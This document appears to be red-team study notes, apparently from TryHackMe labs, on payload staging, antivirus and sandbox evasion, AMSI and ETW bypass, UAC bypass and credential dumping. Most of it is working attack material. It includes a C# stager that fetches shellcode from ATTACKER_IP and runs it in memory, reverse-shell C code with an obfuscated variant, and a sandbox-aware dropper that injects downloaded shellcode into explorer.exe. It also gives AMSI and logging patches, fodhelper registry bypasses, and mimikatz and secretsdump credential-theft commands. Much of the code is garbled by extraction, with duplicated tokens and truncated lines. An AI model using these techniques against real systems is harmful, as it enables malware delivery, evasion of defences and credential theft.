Stagesless:

The resulting executable packs all that is needed to get our shellcode working.

The payload will execute without requiring additional network connections. The fewer the network interactions, the lesser
your chances of being detected by an IPS.

If you are attacking a host with very restricted network connectivity, you may want your whole payload to be in a single
package.

Staged:

Small footprint on disk. Since stage0 is only in charge of downloading the final shellcode, it will most likely be small in
size.

The final shellcode isn't embedded into the executable. If your payload is captured, the Blue Team will only have access to
the stage0 stub and nothing more.

The final shellcode is loaded in memory and never touches the disk. This makes it less prone to be detected by AV
solutions.

You can reuse the same stage0 dropper for many shellcodes, as you can simply replace the final shellcode that gets
served to the victim machine.

Public tools

msfvenom:

msfvenom -a x86 --platform windows -p windows/exec cmd


cmd==calc.exe -f c

Metasploit staged(less) payloads


/ - staged (e.g. windows/x64/shell/reverse_tcp)

_ - stageless (e.g. windows/x64/shell_reverse_tcp)

Shellcode from exe/bin

C2 Frameworks provide shellcode as a raw binary file .bin , to get shellcode:

xxd -i payload.bin

Write own payload and compile

See Assembly 🧱

Write own stager

Example

using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
public class Program {
//https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationT
//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-c
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32
//https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static void Main()
{
string url = "https://ATTACKER_IP/shellcode.bin";
Stager(url);
}
public static void Stager(string url)
{
WebClient wc = new WebClient();
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
byte[] shellcode = wc.DownloadData(url);
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}
[!tip] Compile C#

csc staged-payload.cs

Requirements

To deliver we want to host on a https server with self-signed SSL certificate, host https with python: HTTPS Server

#### Self-signed Certificate ```shell openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -node ```

Shellcode Injection

#include <windows.h>
stager[
char stager [] = {
"shellcode_in_hex"
};

main(
int main()
{
DWORD oldProtect;
oldProtect;
VirtualProtect(
VirtualProtect (stager
stager,, sizeof(
sizeof(stager
stager)
), PAGE_EXECUTE_READ
PAGE_EXECUTE_READ,, &oldProtect
oldProtect));
shellcode)
int (*shellcode )() = (int
int(
(*)())(void
void*
*)stager
stager;;
shellcode(
shellcode ();
}

Encoding
Encoding practices:

Chaining encoding can help


Make sure your dropper can handle the encoding

Singular encoding is not enough to go undetected

Gets detected more than not


List encoders with msfvenom :

msfvenom --list encoders | grep excellent

Create encoded payload with msfvenom :

msfvenom -a x86 --platform Windows LHOST


LHOST==ATTACKER_IP LPORT
LPORT==443 -p windows/shell_reverse_tcp -e x86

Encryption
Symmetric or asymmetric keys

Public tools
List encryption methods with msfvenom :

msfvenom --list encrypt

Encrypt using msfvenom

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=7788 -f exe --encrypt xor

Will likely not work...

Due to the time invested by AV vendors - basic payloads will be detected

Custom Encoder

Example custom Encoder

XOR encoder with custom key and base64 encoded


csharp
using System;
using System.
System.Collections
Collections..Generic;
System.
using System .Linq;
using System
System..Text;
System.
using System .Threading
Threading..Tasks;
namespace Encrypter
{
internal class Program
{
private static byte
byte[[] xor
xor((byte
byte[
[] shell
shell,, byte
byte[
[] KeyBytes
KeyBytes))
{
shell.
for (int i = 0; i < shell .Length
Length;; i
i++
++)
)
{
shell[
shell [i] ^= KeyBytes
KeyBytes[[i % KeyBytes
KeyBytes..Length
Length]];
}
shell;
return shell ;
}
static void Main(
Main(string
string[
[] args
args)
)
{
//XOR Key - It has to be the same in the Droppr for Decrypting
"THMK3y123!";
string key = "THMK3y123!" ;
//Convert Key into bytes
byte[
byte[] keyBytes = Encoding
Encoding. .ASCII
ASCII..GetBytes
GetBytes((key
key));
//Original Shellcode here (csharp format)
byte[
byte[] buf = new byte
byte[[460
460]] { 0xfc
0xfc,,0x48
0x48,,0x83
0x83,
,..
..,
,0xda
0xda,,0xff
0xff,
,0xd5 };
//XORing byte by byte and saving into a new array of bytes
byte[
byte[] encoded = xor
xor(
(buf
buf,
, keyBytes
keyBytes));
Console.
Console .WriteLine
WriteLine((Convert
Convert..ToBase64String
ToBase64String( (encoded
encoded) ));
}
}

Self-decoding payload

Self-decoding payload example

Following the example in Custom Encoder, this is a self-decoding payload:

using System;
using System.Net;
using System.Text;
using System.Runtime.InteropServices;
public class Program {
DllImport(
[DllImport ("kernel32"
"kernel32")
)]
VirtualAlloc(
private static extern UInt32 VirtualAlloc (UInt32 lpStartAddr
lpStartAddr,, UInt32 size
size,, UInt32 flAllocationT
[DllImport(( "kernel32")
DllImport "kernel32" ) ]
CreateThread(
private static extern IntPtr CreateThread (UInt32 lpThreadAttributes
lpThreadAttributes,, UInt32 dwStackSize
dwStackSize,, UInt32
DllImport(
[DllImport ("kernel32"
"kernel32"))]
WaitForSingleObject(
private static extern UInt32 WaitForSingleObject (IntPtr hHandle
hHandle,
, UInt32 dwMilliseconds
dwMilliseconds));
private static UInt32 MEM_COMMIT = 0x1000;
0x1000 ;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40 0x40;
;
byte[
private static byte [] xor
xor(
(byte
byte[
[] shell
shell,, byte
byte[
[] KeyBytes
KeyBytes))
{
for (int i = 0; i < shell.
shell.Length;
Length; i++
i++))
{
shell[
shell [i] ^= KeyBytes
KeyBytes[[i % KeyBytes
KeyBytes..Length
Length]];
}
return shell;
}
public static void Main()
{
string dataBS64 = "qKDPSzN5UbvWEJQsxhsD8mM+uHNAwz9jPM57FAL....pEvWzJg3oE=";
byte[] data = Convert.FromBase64String(dataBS64);
string key = "THMK3y123!";
//Convert Key into bytes
byte[] keyBytes = Encoding.ASCII.GetBytes(key);
byte[] encoded = xor(data, keyBytes);
UInt32 codeAddr = VirtualAlloc(0, (UInt32)encoded.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(encoded, 0, (IntPtr)(codeAddr), encoded.Length);
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);

Packer
Packer will obfuscate the malicious code of the executable and only the packer stub visible

If the packer has a known signature - the AV might flag simply because of that

If the AV scans memory - the malicious code will be noticed (to avoid - see Runtime Detection Evasion)

Obfuscation principles

Object Concatenation
Yara rules looking for signatures, e.g. "Tryhackme" will not detect the following:

Breaks: "Try" + "hackme"

Reorder: '{1}{0}'-f'´hackme','Try'

Whitespace: ( 'Try' + 'hackme' )

Ticks: Tryhackme

Random case: tRyhAcKme

Test payload

Test the payload towards own antivirus by starting with bits of the payload till you see the AV trigger - then you can
concatenate that part
Object names
Iostreams, also known as stdin or stdout - will all appear in strings output.. REPLACE

Also make variable names seemingly random

Code structure
Adding "junk code", reordering code and randomize the occurrence of related code will:

Harder to reverse

Heuristic signature engine may determine whether a program is malicious based on the surrounding functions or API calls
- can avoid

File and Compilation Properties


Compilers will include a symbol file to debug binaries, it will display information such as system calls - which will aid in
reversing

To prevent:

Debug -> Release mode

Light weight compiler

Use strip to remove post compilation

Signature Evasion

Automatic Signature Identification


DefenderCheck

AMSITrigger

Look also at:

chimera

BettewXencrypt

ConPtyShell

lscript

Shellcode-Downloader-CreateThread-Execution

discover

pixload

Inlove-PSObfuscation
Regenerate hash
Open source - change and recompile

Closed source - bit flipping

Entropy
Entropy is defined as “the randomness of the data in a file used to determine whether a file contains hidden data or
suspicious scripts.”

Check with CyberChef)

To lower entropy - change random names to English words ( thsre -> forest )

Suspicions > 6.8 (Depending on EDR)

Example of Signature Obfuscation


Original payload:

#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdio.h>

#define DEFAULT_BUFLEN 1024

void RunShell(
RunShell(char
char*
* C2Server
C2Server,, int C2Port
C2Port)) {
SOCKET mySocket;
mySocket;
addr;
struct sockaddr_in addr ;
version;
WSADATA version ;
WSAStartup(
WSAStartup(MAKEWORD
MAKEWORD(
(2,2), &version
version)
);
WSASocketA(
mySocket = WSASocketA (AF_INET
AF_INET,
, SOCK_STREAM
SOCK_STREAM,
, IPPROTO_TCP
IPPROTO_TCP,, 0, 0, 0);
addr.
addr .sin_family = AF_INET
AF_INET;;

addr.
addr .sin_addr
sin_addr.
.s_addr = inet_addr
inet_addr(
(C2Server
C2Server)
);
addr.
addr .sin_port = htons
htons((C2Port
C2Port));

if (WSAConnect
WSAConnect((mySocket
mySocket,
, (SOCKADDR
SOCKADDR*
*)&addr
addr,
, sizeof
sizeof((addr
addr)
), 0, 0, 0, 0)</b>SOCKET_ERROR
SOCKET_ERROR)) {
closesocket(
closesocket (mySocket
mySocket)
);
WSACleanup(
WSACleanup ();
} else {
printf(
printf ("Connected to %s:%d\\n",
%s:%d\\n", C2Server
C2Server,, C2Port
C2Port));

Process[
char Process [] = "cmd.exe"
"cmd.exe";;
STARTUPINFO sinfo;
sinfo;
PROCESS_INFORMATION pinfo;
pinfo;
memset(
memset (&sinfo
sinfo,, 0, sizeof
sizeof((sinfo
sinfo)));
sinfo.
sinfo.cb = sizeof
sizeof((sinfo
sinfo)
);
sinfo.
sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
STARTF_USESHOWWINDOW));
sinfo.
sinfo.hStdInput = sinfo
sinfo..hStdOutput = sinfo
sinfo.
.hStdError = (HANDLE
HANDLE)) mySocket
mySocket;;
CreateProcess(
CreateProcess (NULL
NULL,
, Process
Process,
, NULL
NULL,, NULL
NULL,
, TRUE
TRUE,, 0, NULL
NULL,
, NULL
NULL,, &sinfo
sinfo,, &pinfo
pinfo));

printf(
printf ("Process Created %lu\\n",
%lu\\n", pinfo
pinfo..dwProcessId
dwProcessId));

WaitForSingleObject(
WaitForSingleObject (pinfo
pinfo..hProcess
hProcess,
, INFINITE
INFINITE));
CloseHandle(
CloseHandle (pinfo
pinfo..hProcess
hProcess));
CloseHandle(
CloseHandle (pinfo
pinfo..hThread
hThread));
}
}

int main(
main(int argc
argc,, char **argv
argv)) {
if (argc <b> 3) {
atoi(
int port = atoi (argv
argv[
[2]);
RunShell(
RunShell (argv
argv[
[1], port
port)
);
}
else {
char host[
host[] = "10.10.10.10"
"10.10.10.10";
;
53;
int port = 53 ;
RunShell(
RunShell (host
host,
, port
port)
);
}
return 0;
}

The obfuscated payload:

#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdio.h>

#define DEFAULT_BUFLEN 1024

// 0. Remove "shell"
// 0. Rename SOCKET
// 0. Split "cmd.exe"
// 0. Remove "C2"
// 0. Remove print lines

// 1. Define the structure of the call


typedef int(WSAAPI* WSASTARTUP)(WORD wVersionRequested,LPWSADATA lpWSAData);
typedef SOCKET(WSAAPI* WSASOCKETA)(int af,int type,int protocol,LPWSAPROTOCOL_INFOA lpProtocolInf
typedef unsigned(WSAAPI* INET_ADDR)(const char *cp);
typedef u_short(WSAAPI* HTONS)(u_short hostshort);
typedef int(WSAAPI* WSACONNECT)(SOCKET s,const struct sockaddr *name,int namelen,LPWSABUF lpCalle
typedef int(WSAAPI* CLOSESOCKET)(SOCKET s);
typedef int(WSAAPI* WSACLEANUP)(void);

void Run(char* Server, int Port) {

// 2. Obtain the handle of the module the call address is present in


HMODULE hws2_32 = LoadLibraryW(L"ws2_32");

// 3. Obtain the process address of the call


WSASTARTUP myWSAStartup = (WSASTARTUP) GetProcAddress(hws2_32, "WSAStartup");
WSASOCKETA myWSASocketA = (WSASOCKETA) GetProcAddress(hws2_32, "WSASocketA");
INET_ADDR myinet_addr = (INET_ADDR) GetProcAddress(hws2_32, "inet_addr");
HTONS myhtons = (HTONS) GetProcAddress(hws2_32, "htons");
WSACONNECT myWSAConnect = (WSACONNECT) GetProcAddress(hws2_32, "WSAConnect");
CLOSESOCKET myclosesocket = (CLOSESOCKET) GetProcAddress(hws2_32, "closesocket");
WSACLEANUP myWSACleanup = (WSACLEANUP) GetProcAddress(hws2_32, "WSACleanup");

SOCKET s0;
struct sockaddr_in addr;
WSADATA version;
myWSAStartup(MAKEWORD(2,2), &version);
s0 = myWSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
addr.sin_family = AF_INET;

addr.sin_addr.s_addr = myinet_addr(Server);
addr.sin_port = myhtons(Port);

if (myWSAConnect(s0, (SOCKADDR*)&addr, sizeof(addr), 0, 0, 0, 0) =


SOCKET_ERROR) {
myclosesocket(s0);
myWSACleanup();
} else {

char P1[] = "cm";


char P2[] = "d.exe";
char* P = strcat(P1, P2);
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) s0;
CreateProcess(NULL, P, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo
&pinfo);

WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
}
}

int main(int argc, char **argv) {


if (argc </b> 3) {
int port = atoi(argv[2]);
Run(argv[1], port);
}
else {
char host[] = "10.10.10.111";
int port = 443;
Run(host, port);
}
return 0;
}

Runtime Detection Evasion

Simple measures for runtime and sandbox evasion


Just wait a bit. Try spawning the reverse shell again and wait for around 5 minutes before sending any command. You'll
see the AV won't complain anymore. The reason for this is that scanning memory is an expensive operation. Therefore,
the AV will do it for a while after your process starts but will eventually stop.

Use smaller payloads. The smaller the payload, the less likely it is to be detected. If you use msfvenom to get a single
command executed instead of a reverse shell, the AV will have a harder time detecting it.

Geolocation. It the targeted company is in Europe but the binary is executed in the US, it will not detonate the payload.
Can fence to IP:s owned by the company as well.

System Information. Typically sandboxes have low system allocation, 1 CPU core and 4GB of RAM. Can make code query
for basic system resources.
Storage Medium Serial Number

PC Hostname

BIOS/UEFI Version/Serial Number

Windows Product Key/OS Version

Network Adapter Information

Virtualization Checks

Current Signed in User

Network information. Same principle as system informaiton. E.g.. almost no sandbox are joined in a domain.
Computers

User accounts

Last User Login(s)


Groups

Domain Admins

Enterprise Admins

Domain Controllers

Service Accounts

DNS Servers

Example of sandbox bypass

#include <iostream>
#include <Windows.h>
#include <tlhelp32.h>
#include <locale>
#include <string>
#include <urlmon.h>
#include <cstdio>
#include <lm.h>
#include <DsGetDC.h>
#pragma comment(
comment(lib,
lib, "urlmon.lib")
"urlmon.lib")

std;
using namespace std;

int downloadAndExecute(
downloadAndExecute()
{
hProcess;
HANDLE hProcess ;
//Update the dwSize variable with your shellcode size. This should be approximately 510 bytes
SIZE_T dwSize = 510;
510;
MEM_RESERVE;
DWORD flAllocationType = MEM_COMMIT | MEM_RESERVE;
DWORD flProtect = PAGE_EXECUTE_READWRITE
PAGE_EXECUTE_READWRITE;;
LPVOID memAddr;
memAddr;
SIZE_T bytesOut;
bytesOut;
//Update the OpenProcess Windows API with your Explorer.exe Process ID. This can be found in T
OpenProcess(
hProcess = OpenProcess (PROCESS_ALL_ACCESS
PROCESS_ALL_ACCESS,, FALSE
FALSE,, 4352
4352));
//Update the c2URL with your IP Address and the specific URI where your raw shellcode is store
const char*
char* c2URL = "http://10.8.68.136/index.raw";
"http://10.8.68.136/index.raw";
IStream*
IStream * stream
stream;;
//Update the buff[] variable to include your shellcode size
buff[
char buff [510
510]];
unsigned long bytesRead;
bytesRead;
string s;
s;
URLOpenBlockingStreamA(
URLOpenBlockingStreamA (0, c2URL
c2URL,, &stream
stream,, 0, 0);
true)
while (true ) {
//Update the Read file descriptor to include your shellcode size
stream->
stream ->Read
Read( (buff
buff,, 510
510,, &bytesRead
bytesRead));
bytesRead)
if (0U <b> bytesRead ) {
break;
}
s.append(buff, bytesRead);
}
memAddr = VirtualAllocEx(hProcess, NULL, dwSize, flAllocationType, flProtect);

WriteProcessMemory(hProcess, memAddr, buff, dwSize, &bytesOut);

CreateRemoteThread(hProcess, NULL, dwSize, (LPTHREAD_START_ROUTINE)memAddr, 0, 0, 0);


stream->Release();
return 0;
}

BOOL isDomainController() {
LPCWSTR dcName;
string dcNameComp;
NetGetDCName(NULL, NULL, (LPBYTE*)&dcName);
wstring ws(dcName);
string dcNewName(ws.begin(), ws.end());
cout << dcNewName;
if (dcNewName.find("\\\\")) {
return FALSE;

}
else {
return TRUE;
}
}

BOOL checkIP()
{
const char* websiteURL = "http://10.10.10.10/";
IStream* stream;
string s;
char buff[35];
unsigned long bytesRead;
URLOpenBlockingStreamA(0, websiteURL, &stream, 0, 0);
while (true) {
stream->Read(buff, 35, &bytesRead);
if (0U </b> bytesRead) {
break;
}
s.append(buff, bytesRead);
}
if (s <b> "10.10.52.169") {
return TRUE;
}
else {
return FALSE;
}
}

BOOL memoryCheck() {
MEMORYSTATUSEX statex;
statex.dwLength = sizeof(statex);
GlobalMemoryStatusEx(&statex);
if (statex.ullTotalPhys / 1024 / 1024 / 1024 >= 1.00) {
return TRUE;
}
else {
return FALSE;
}
}

int main() {
Sleep(60000);
if (isDomainController() </b> TRUE) {
if (checkIP() <b> TRUE) {
if (memoryCheck() </b> TRUE) {
downloadAndExecute();
return 0;
}
}
}
return 0;
}

AMSI integration
User Account Control, or UAC

PowerShell

Windows Script Host (wscript and cscript)

JavaScript and VBScript

Office VBA macros

PowerShell downgrade
All security features regarding AMSI was implemented in PowerShell 5.0, so downgrading will avoid the security features:
PowerShell -Version #

Well known
Due to the simplicity of the attack - there's a plethera of ways it can be mitigated

Bypass ASMI
AMSI utility is stored in System.Management.Automation.AmsiUtils .NET assembly

Bypass by prepending the one-liner to the malicious code or run it in the same session

Assembly.
[Ref].Assembly .GetType
GetType(('System.Management.Automation.AmsiUtils'
'System.Management.Automation.AmsiUtils')
).GetField
GetField(
('amsiInitFailed'
'amsiInitFailed',
,'NonPub

Override buffer response code


1. Obtain handle of amsi.dll

2. Get process address of AmsiScanBuffer

3. Modify memory protections of AmsiScanBuffer

4. Write opcodes to AmsiScanBuffer

$MethodDefintion = "

[DllImport(`"kernel32`")] // Import DLL where API is stored


public static extern IntPtr GetProcAddress(
IntPtr hModule, // Handle to DLL
string procName // function or variable to store in
);

[DllImport(`"kernel32`")] // Modele to obtain handle


public static extern IntPtr GetModuleHandle(string lpModuleName);

[DllImport(`"kernel32`")]
public static extern bool VirtualProtect(
IntPtr lpAddress, // Address region to modify
UIntPtr dwSize, // Size of region
uint flNewProtect, // Memory protection options
out uint lpflOldProtect // Pointer to store previous protection options
);
";

// Load API calls


$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -
NameSpace 'Win32' -PassThru;

$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll'); // Obtain dll handle


[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, 'AmsiScanBuffer'); // Process a
[UInt32]$Size = 0x5; // Size of region
[UInt32]$ProtectFlag = 0x40; // PAGE_EXECUTE_READWRITE
[UInt32]$OldProtectFlag = 0; // Arbitrary value to store options
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag); // Mo

$buf = <div class="text-dropdown"><span>Byte[]</span><div class="text-dropdown-content"><p>[UInt32

[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6); // Copy the buffer to

Read more here: https://rastamouse.me/memory-patching-amsi-bypass/

Automation
Generate a powershell AMSI bypass: http://amsi.fail/

Automatically identify signatures to modify: AMSITrigger

UAC Bypassing

Integrity
Use
Level

Low Generally used for interaction with the Internet (i.e. Internet Explorer). Has very limited permissions.

Medium Assigned to standard users and Administrators' filtered tokens.

Used by Administrators' elevated tokens if UAC is enabled. If UAC is disabled, all administrators will
High
always use a high IL token.

System Reserved for system use.

Graphic bypass
Some applications are run with high IL due to "auto elevation", one of them is msconfig.exe

If the process can spawn a shell - it will inherit the same access

Auto Elevate
Applies to most of Control Panels functionality and .msc files

Must be signed by the Windows Publisher


Trusted directory, like %SystemRoot%/System32/ or %ProgramFiles%/

Executables must declare autoElevate in manifests. Check with sigcheck .


There's exceptions which will also auto elevate, e.g. pkgmgr.exe and spinstall.exe

COM objects can request auto-elevation with conf to registry keys


If you overwrite the user key - you will ignore the system key

Example:

red add HKCU\Software\Classes\ms-settings\Shell\Open\command /v "DelegateEecute" /d "" /f


red add HKCU\Software\Classes\ms-settings\Shell\Open\command /d <payload> /f & fodhelper.
fodhelper.exe

Run handler and execute


Note

DelegateExecute is necessary for the class association to take effect - otherwise it will be overwritten by system
default

By instantly executing the program it will be a race between AV and payload - unreliable

More consistent to avoid AV:

reg add "HKCU\Software\Classes\anyname\Shell\Open\command" /d <payload> /f


reg add "HKCU\Software\Classes\ms-settings\CurVer" /d "anyname" /f

Run handler and execute


Note

CurVer is poiting at the correct progID - we can utilise it to confuse the AV and point to a different key and is more
likely to consistently avoid AV

Scheduled tasks
Have to use following settings:

Run with highest privileges

Allow task to be run on demand

An environment variable we can edit


Example: DiskCleanup will run %windir%\system32\cleanmgr.exe /autoclean /d %systemdrive%

reg add "HKCU\Environment" /v "windir" /d "<payload> &REM "


schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I

Automatic UAC bypass


Tool: UACME

Evade Logging and Monitoring

Component Purpose Technique

Build and configure PSEtwLogProvider Modification, Group Policy Takeover, Log Pipeline Abuse,
Controllers
sessions Type Creation

Providers Generate events Patching EtwEventWrite, Runtime Tracing Tampering,

Consumers Interpret events Log Smashing, Log Tampering

Reflection
Reflect the ETW event provider assembly and set the field m_enabled to $null . It will no longer generate events from
commands.

1. Obtain .NET assembly for PSEtwLogProvider .

2. Store a null value for etwProvider field.

3. Set the field for m_enabled to previously stored value.

Assembly.
$logProvider = [Ref].Assembly .GetType
GetType(('System.Management.Automation.Tracing.PSEtwLogProvider'
'System.Management.Automation.Tracing.PSEtwLogProvider') ) # 1
$logProvider.
$etwProvider = $logProvider.GetField
GetField(
('etwProvider'
'etwProvider',
,'NonPublic,Static'
'NonPublic,Static')).GetValue
GetValue(
($null
$null)
) # 2
GetField(
[System.Diagnostics.Eventing.EventProvider].GetField ('m_enabled'
'm_enabled',,'NonPublic,Instance'
'NonPublic,Instance')).SetValue
SetValue(
($e

Removes all logging

Very noisy

Patching
By returning - it wont recognise the following events.
1. Obtain a handle for EtwEventWrite

2. Modify memory permissions of the function

3. Write opcode bytes to memory

4. Reset memory permissions of the function (optional)

5. Flush the instruction cache (optional)

var ntdll = Win32


Win32..LoadLibrary
LoadLibrary(("ntdll.dll"
"ntdll.dll"));
var etwFunction = Win32
Win32.
.GetProcAddress
GetProcAddress(
(ntdll
ntdll,
, "EtwEventWrite"
"EtwEventWrite"));

oldProtect;
uint oldProtect ;
Win32.
Win32 .VirtualProtect
VirtualProtect((
etwFunction,
etwFunction ,
UIntPtr)
(UIntPtr )patch
patch..Length
Length,,
0x40,
0x40,
out oldProtect
);

patch(
patch (new byte
byte[
[] { 0xc2
0xc2,, 0x14
0x14,
, 0x00 });
Marshal.
Marshal .Copy
Copy(
(
patch,
patch ,
0,
etwEventSend,
etwEventSend ,
patch.
patch .Length
);

VirtualProtect(
VirtualProtect (etwFunction
etwFunction,, 4, oldProtect
oldProtect,, &oldOldProtect
oldOldProtect));

Win32.
Win32 .FlushInstructionCache
FlushInstructionCache((
etwFunction,
etwFunction ,
NULL
);

Once the function is patched in memory, it will always return when EtwEventWrite is called.

Removes all logging

Very noisy

Group Policy Reflection

Event ID Purpose

4103 Logs command invocation


Event ID Purpose

4104 Logs script block execution

1. Obtain group policy settings from the utility cache.

2. Modify generic provider to 0 .

3. Modify the invocation or module definition.

Assembly.
$GroupPolicySettingsField = [ref].Assembly.GetType
GetType(
('System.Management.Automation.Utils'
'System.Management.Automation.Utils')
).GetField
GetField(
(
$GroupPolicySettingsField.
$GroupPolicySettings = $GroupPolicySettingsField .GetValue
GetValue(($null
$null))

$GroupPolicySettings[
$GroupPolicySettings ['ScriptBlockLogging'
'ScriptBlockLogging']
]['EnableScriptBlockLogging'
'EnableScriptBlockLogging']] = 0
$GroupPolicySettings[
$GroupPolicySettings ['ScriptBlockLogging'
'ScriptBlockLogging']
]['EnableScriptBlockInvocationLogging'
'EnableScriptBlockInvocationLogging']] = 0

Log Pipeline
Turn off module logging for session:

1. Obtain the target module.

2. Set module execution details to $false .

3. Obtain the module snap-in.

4. Set snap-in execution details to $false .

Microsoft.
$module = Get-Module Microsoft .PowerShell
PowerShell.
.Utility # Get target module
$module.
$module .LogPipelineExecutionDetails = $false # Set module execution details to false
Microsoft.
$snap = Get-PSSnapin Microsoft .PowerShell
PowerShell.
.Core # Get target ps-snapin
$snap.
$snap .LogPipelineExecutionDetails = $false # Set ps-snapin execution details to false

🔑 Credential Access (TA0006)


Clear text files
Types of clear-text files:

Commands history
Powershell:
C:\Users\USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Configuration files (Web App, FTP files, etc.)
AD: Users description Get-ADUser -Filter * -Properties * | select Name,SamAccountName,Description

Other Files related to Windows Applications (Internet Browsers, Email Clients, etc.)

Backup files

Shared files and folders

Registry
Search in registry: reg query HKLM /f password /t REG_SZ /s #OR reg query HKCU /f password /t REG_SZ
/s

Source code

cmdkey
cmdkey /list can be used in runas /savecred /user:...

LAPS
ms-mcs-AdmPwd attribute contains a clear-text password of the local administrator

ms-mcs-AdmPwdExpirationTime contains the expiration time to reset the password

admpwd.dll to change the local administrator password

Tool used: LAPSToolkit Enumerate admpwd.dll:

Get-ChildItem "C:\Program Files\LAPS\CSE"


Get-Command *AdmPwd*

Find LAPS privilege:

Find-AdmPwdExtendedRights -Identity *
net groups "GroupWithPrivilege"

LAPS Password:

Get-AdmPwdPassword -ComputerName creds-harvestin

Procdump
Sysinternal tool procdump64.exe can be used as a replacement to mimikatz:

\procdump64.
.\procdump64 .exe -accepteula -ma lsass.
lsass.exe lsass.
lsass.dmp

With C2 you can then download and use mimikatz on your own system:
\mimikatz.
.\mimikatz .exe
sekurlsa::minidump lsass.
lsass.dmp
sekurlsa::logonPasswords full

Disable Protected LSASS (LSA)


Registry: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -> 1

Mimikatz:

!+ # Import mimidrv.sys
!processprotect /process:lsass.exe /remove

Secretsdump
Part of Impacket

Ntdsutil
Domain Controller:

ntdsutil
activate instance ntds
ifm # Install from media
create full C:\output-file
SYSTEM.
> SYSTEM...
SECURITY.
> SECURITY ...

secretsdump.py -system registry/SYSTEM -security registry/SECURITY -ntds Active\


Active\ Directory/ntds.di

-history can also include historical passwords to see patterns

Volume Shadow Copy


Used to backup - but can extract data (require admin)

Create and list copy:

wmic shadowcopy call create Volume


Volume=='C:\'
vssadmin list shadows

Now use "Shadow Copy Volume" followed by path - e.g.:


copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\Administ

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\Admin

Registry

reg save HKLM\sam C:\users\Administrator\Desktop\sam-reg


reg save HKLM\system C:\users\Administrator\Desktop\system-reg

Extract the credentials


With sam and system hive:

secretsdump.py -sam sam.hive -system system.hive LOCAL

DCsync
Remote, need credential access:

secretsdump.py -just-dc THM.red/<


THM.red/<AD_Admin_User
AD_Admin_User>
>@10.10.73.194

Kerberoasting
Requirement

The attack requires an SPN account

Find SPN and get hash(impacket - GetUserSPN ):

GetUserSPNs.py -dc-ip DC_IP DOMAIN/USER


DOMAIN/USER (-request-user SPN)
SPN)

AS-REP Roasting
Requirement

Old Kerberos - allows authentication without a password

Account option: "Do not require Kerberos pre-authentication"


Search for users and dump hashes (impacket - GetNPUsers ):

GetNPUsers.py -dc-ip DC_IP DOMAIN/ -userfile USERFILE.txt -format

User list

Note that it takes a list with available domain account usernames. -format outputs hashes in hashcat/john format.

Mimikatz
Elevate privileges:

privilege::debug
token::elevate

Extract SAM hashes (only local accounts):

lsadump::sam

Hashes from LSASS memory:

sekurlsa::msv

Passwords from registry hive:

lsadump::secrets

DOMAIN ADMIN: Dump all NTLM-hashes (DCsync):

lsadump:dcsync /domain:DOMAIN /all

/user:USER : For specific user

Credential manager:

sekurlsa::credman

Enable logging (outfile):

log FILENAME.txt

Golden ticket:
Requirements

FQDN of the domain

SID of the domain

Get-ADComputer -Identity "THMDC"

